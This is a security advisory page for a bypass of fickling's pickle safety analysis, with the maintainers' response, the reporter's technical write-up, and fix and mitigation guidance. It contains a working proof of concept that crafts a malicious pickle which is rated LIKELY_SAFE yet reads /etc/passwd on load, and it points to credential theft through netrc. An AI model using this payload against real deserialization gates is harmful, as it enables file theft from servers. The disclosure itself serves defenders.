Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI

GHSA-r48f-3986-4f9c

fickling modules linecache, difflib and gc are missing from the unsafe modules blocklist

Published
Mar 13, 2026
Updated
Mar 13, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
🐍fickling

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Our analysis

As stated in the project's security policy, we also don't consider UnusedVariables bypasses to be security issues. We added several unsafe modules mentioned by the reporter in advisory comments to the blocklist (https://github.com/trailofbits/fickling/commit/7f39d97258217ee2c21a1f5031d4a6d7343eb30d).

Original report

Title: UnusedVariables analysis bypass via BUILD opcode Arbitrary File Read through fickling.load()

Summary

Two independent bugs in fickling's AST-based static analysis combine to allow a malicious pickle file to execute arbitrary stdlib function calls - including reading sensitive files - while check_safety() returns Severity.LIKELY_SAFE and fickling.load() completes without raising UnsafeFileError.

A server using fickling.load() as a security gate before deserializing untrusted pickle data (its documented use case) is fully bypassed. The attacker receives the contents of any file readable by the server process as the return value of fickling.load().

Details

Interpreter.unused_assignments() does not scan the result assignment's RHS

File: fickling/fickle.py, Interpreter.unused_assignments(), ~line 1242

for statement in self.module_body:
    if isinstance(statement, ast.Assign):
        if (
            len(statement.targets) == 1
            and isinstance(statement.targets[0], ast.Name)
            and statement.targets[0].id == "result"
        ):
            break
        ...
        statement = statement.value
    if statement is not None:
        for node in ast.walk(statement):
            if isinstance(node, ast.Name):
                used.add(node.id)

When the loop reaches result = _varN, it breaks immediately. The right-hand side of the result assignment is never walked for variable references. Any variable whose only reference is inside the result expression is therefore never added to the used set and is incorrectly flagged as unused - unless it also appears in an earlier non-assignment statement.

The BUILD opcode generates exactly such a non-assignment statement:

# Build.run() generates:
_var4 = _var3                     # Assign  - _var3 added to used
_var4.__setstate__(_var2)         # Expr    - _var2 and _var4 added to used

This makes _var2 (the result of the dangerous call) appear in the used set via the setstate expression, so UnusedVariables never flags it.

File: fickling/fickle.py, TupleThree.run(), and siblings

def run(self, interpreter: Interpreter):
    top = interpreter.stack.pop()
    mid = interpreter.stack.pop()
    bot = interpreter.stack.pop()
    interpreter.stack.append(ast.Tuple((bot, mid, top), ast.Load()))
    #                                   ^^^^^^^^^^^^^^^^
    #                                   Python tuple, not list

Python's ast module requires repeated fields (such as Tuple.elts) to be lists. When elts is a Python tuple, ast.iter_child_nodes() does not yield its elements, so ast.walk() never descends into them. Any variable reference stored inside such a tuple node is invisible to every analysis that uses ast.walk() - including UnusedVariables.

Demo:

import ast
name = ast.Name(id='_var1', ctx=ast.Load())

# Correct (list elts) - ast.walk finds it
t = ast.Tuple(elts=[name], ctx=ast.Load())
print([n.id for n in ast.walk(t) if isinstance(n, ast.Name)])  # ['_var1']

# Buggy (tuple elts) - ast.walk finds nothing
t = ast.Tuple(elts=(name,), ctx=ast.Load())
print([n.id for n in ast.walk(t) if isinstance(n, ast.Name)])  # []

Combined attack - arbitrary file read

The two bugs combine with the absence of linecache and difflib from UNSAFE_IMPORTS:

from linecache import getlines      # not in UNSAFE_IMPORTS
_var0 = getlines('/etc/passwd')     # reads the file
from builtins import enumerate
_var1 = enumerate(_var0)            # _var0 in RHS - added to used
from builtins import dict
_var2 = dict(_var1)                 # _var1 in RHS - added to used; produces {0:'line1',...}
from difflib import Differ
_var3 = Differ()                    # stdlib, not in UNSAFE_IMPORTS
_var4 = _var3
_var4.__setstate__(_var2)           # BUILD Expr - _var2 and _var4 added to used
result = _var3                      # loop breaks here; nothing in defined−used

check_safety() returns Severity.LIKELY_SAFE. fickling.load() calls pickle.loads(). At runtime, Differ().dict.update({0: 'root:x:0:0\n', ...}) succeeds and the file contents are returned to the caller.

PoC

pip install fickling

#!/usr/bin/env python3
import io
import sys

import fickling.fickle as op
from fickling.fickle import Pickled
from fickling.analysis import check_safety, Severity
from fickling.loader import load
from fickling.exception import UnsafeFileError

TARGET = "/etc/passwd"

pickled = Pickled([
    op.Proto.create(4),

    op.ShortBinUnicode("linecache"),
    op.ShortBinUnicode("getlines"),
    op.StackGlobal(),
    op.ShortBinUnicode(TARGET),
    op.TupleOne(),
    op.Reduce(),
    op.Memoize(),                   # memo[0] = _var0 = getlines(TARGET)

    op.Global("builtins enumerate"),
    op.BinGet(0),
    op.TupleOne(),
    op.Reduce(),
    op.Memoize(),                   # memo[1] = _var1 = enumerate(_var0)

    op.Global("builtins dict"),
    op.BinGet(1),
    op.TupleOne(),
    op.Reduce(),
    op.Memoize(),                   # memo[2] = _var2 = dict(_var1)

    op.ShortBinUnicode("difflib"),
    op.ShortBinUnicode("Differ"),
    op.StackGlobal(),
    op.EmptyTuple(),
    op.Reduce(),
    op.Memoize(),                   # memo[3] = _var3 = Differ()

    op.BinGet(2),                   # push _var2 as BUILD state
    op.Build(),                     # _var4=_var3; _var4.__setstate__(_var2)

    op.BinGet(3),
    op.Stop(),
])

result = check_safety(pickled)
assert result.severity == Severity.LIKELY_SAFE, f"Expected LIKELY_SAFE, got {result.severity}"
print(f"[+] check_safety verdict : {result.severity.name}  (bypass confirmed)")

buf = io.BytesIO()
pickled.dump(buf)

obj = load(io.BytesIO(buf.getvalue()))
lines = {k: v for k, v in obj.__dict__.items() if isinstance(k, int)}

print(f"[+] fickling.load() returned : {type(obj).__name__}")
print(f"[+] {TARGET} - {len(lines)} lines exfiltrated:\n")
for i in sorted(lines):
    print(f"{lines[i]}", end="")

Result

[+] check_safety verdict : LIKELY_SAFE  (bypass confirmed)
[+] fickling.load() returned : Differ
[+] /etc/passwd - 58 lines exfiltrated:

    root:x:0:0:root:/root:/usr/bin/zsh
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
    _apt:x:42:65534::/nonexistent:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
    dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
    systemd-timesync:x:992:992:systemd Time Synchronization:/:/usr/sbin/nologin

Impact

Vulnerability type: Static analysis bypass leading to arbitrary file read (and arbitrary stdlib code execution) through a security-gated deserialization API.

Who is impacted: Any application or service that calls fickling.load() or fickling.loads() to validate untrusted pickle data before deserializing it. This is the primary documented use case of the fickling.loader module. The attacker supplies a pickle file; the server processes it through fickling.load(), receives LIKELY_SAFE, and unpickles the payload. File contents are returned directly in the deserialized object's attributes.

Beyond file read, the same BUILD-opcode technique can be applied to any stdlib module absent from UNSAFE_IMPORTS (e.g., gc.get_objects() for full in-process memory inspection, inspect.stack() for call-frame local variable exfiltration, netrc.netrc() for credential theft).

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIficklingall versions0.1.10

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fickling. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update fickling to 0.1.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-r48f-3986-4f9c is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-r48f-3986-4f9c is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-r48f-3986-4f9c. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

# Our analysis As stated in the [project's security policy](https://github.com/trailofbits/fickling/security/policy), we also don't consider `UnusedVariables` bypasses to be security issues. We added several unsafe modules mentioned by the reporter in advisory comments to the blocklist (https://github.com/trailofbits/fickling/commit/7f39d97258217ee2c21a1f5031d4a6d7343eb30d). # Original report Title: UnusedVariables analysis bypass via BUILD opcode Arbitrary File Read through fickling.load() ### Summary Two independent bugs in fickling's AST-based static analysis combine to allow a malicio
O3 Security · Impact-Aware SCA

Is GHSA-r48f-3986-4f9c in your dependencies?

O3 detects GHSA-r48f-3986-4f9c across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.